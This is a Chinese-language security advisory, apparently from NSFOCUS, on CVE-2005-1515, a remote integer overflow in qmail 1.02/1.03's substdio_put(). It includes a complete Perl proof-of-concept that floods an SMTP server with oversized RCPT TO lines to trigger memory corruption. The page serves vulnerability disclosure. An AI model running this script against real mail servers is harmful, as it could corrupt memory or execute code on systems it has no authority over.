首页 -> 安全研究

安全研究

安全漏洞
QMail Substdio_Put()函数远程整数溢出漏洞

发布日期:2005-05-09
更新日期:2005-05-09

受影响系统:
Dan Bernstein QMail 1.03
Dan Bernstein QMail 1.02
描述:
BUGTRAQ  ID: 13536
CVE(CAN) ID: CVE-2005-1515

Qmail是新一代的UNIX邮件系统。

QMail的substdio_put()函数存在远程整数溢出漏洞,远程攻击者可能利用此漏洞在主机上执行任意指令。

攻击者可以强制substdio_put()函数覆盖整数值,导致向非预期位置写入数据。仅在有多于4G虚拟内存的环境中(如64位系统)才可能执行这种攻击。

<*来源:Georgi Guninski (guninski@guninski.com
  
  链接:http://www.guninski.com/where_do_you_want_billg_to_go_today_4.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

-------
qmrcptto-pub.pl
#!/usr/bin/perl -w

# written by georgi guninski.
# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
        PeerPort=>$port) || die("socket");


my $payload="v" x (1024*1024);
my $i=0;
my $t;

print $sock "HELO a\r\n";
print $sock "MAIL FROM: a\r\n";

my $leg = 842;

$payload = "v" x $leg;
$cou=0;
my $vp= "v" x (1024*1024);

my $wri = 0;

while (42)
{
print $sock "RCPT TO: ${payload}\r\n";
$t=<$sock>;
$cou++;
$wri += ($leg + 1);
if ($wri > 0x80000010) {last;}
if ($cou % (1024) == 0) {print " .. " . $wri/(1024*1024) . "\n";}
}

print $sock "DATA\r\n";
print $sock "where do you want bill gates to go today?\r\n";
print $sock ".\r\n";

while(<$sock>)
{
        print $_;
}

------

建议:
厂商补丁:

Dan Bernstein
-------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://cr.yp.to/qmail.html

浏览次数:2415
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障